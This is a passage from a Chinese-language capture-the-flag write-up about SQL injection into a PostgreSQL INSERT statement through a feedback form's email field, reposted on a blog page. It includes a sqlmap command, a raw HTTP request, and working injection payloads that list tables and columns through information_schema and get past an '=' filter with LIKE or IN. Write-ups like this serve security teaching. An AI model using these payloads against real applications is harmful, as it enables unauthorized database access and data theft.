PostgreSQL的insert注入

写这篇文是在昨夜的ctf中遇到的。 

ctf地址:bloody-feedback.quals.2017.volgactf.ru  

 

 

email存在注入,在ctf中发现注入就很好办了,只要找到能绕过的方法就行。发现有pg开头,联想到PostgreSQL数据库

试着补全语句

 

 

 

 

 发现错误回显的有效信息更多了,

ERROR: INSERT has more target columns than expressions
LINE 1: INSERT INTO messages (code,name,message,email,status) VALUES

大概的语句就这样

 

INSERT INTO messages (code,name,message,email,status) VALUES('aaa','aaa','aaa','aaa','aaa')

  email在第四个,所以在补全一个status就行,

 

找了好久的资料,没发现PostgreSQL的报错方法。

尝试使用sqlmap

➜  sqlmap proxychains4 python sqlmap.py -r 1.txt --dbms=PostgreSQL -p email --prefix "',(" --suffix "))--" -v3

1.txt的内容

➜  sqlmap cat 1.txt
POST /submit/ HTTP/1.1
Host: bloody-feedback.quals.2017.volgactf.ru
Content-Length: 41
Cache-Control: max-age=0
Origin: http://bloody-feedback.quals.2017.volgactf.ru
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
DNT: 1
Referer: http://bloody-feedback.quals.2017.volgactf.ru/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close
 
name=aaa&email=aa@qq.com&message=assa

  

发现能识别注入,美滋滋。

接着在跑表,发现需要用枚举的方式来跑。枚举????ctf的表名和字段名从来都很非主流的好嘛!!

还是用手工吧。

小伙伴发现在后面补全的时候,

name=a%27a%27a&email=aa%40qq.com','aaa')--&message=aaa

 也就是'aaa'那里,只要不加引号,直接放sql语句也是可以的,回显的话需要访问response给我们的连接

查看当前数据库权限:

 

 然后在访问response的连接就行。

接着查询表名,直接把当前数据库当做放flag的表

name=aaa&email=aa@qq.com',(select table_name from information_schema.tables limit 1 offset 0))--&message=assa

 

表名:s3cret_tabl3

接着爆列名。

本来的语法应该是name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name='s3cret_tabl3' limit 1 offset 0))—&message=assa

发现等号被过滤了,找了一下发现like也行

于是变换语句

name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name  LIKE 's3cret_tabl3' limit 1 offset 0))—&message=assa

 

name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name in ('s3cret_tabl3') limit 1 offset 0))--&message=assa

如果宽字节的注入 ,这里不能用引号怎么办?测试了发现mysql的0x和0b在这里不管用。(待解)

 

列名为s3cr3tc0lumn,

然后直接出来数据。

select s3cr3tc0lumn from s3cret_tabl3 limit 1 offset 2

发现这样不需要列名也能直接出数据   

select * from s3cret_tabl3 limit 1 offset 4

  

 

附带一篇Postgres注入方式总结.pdf

 

 

 

 

 

转载于:https://www.cnblogs.com/yangxiaodi/p/6622401.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值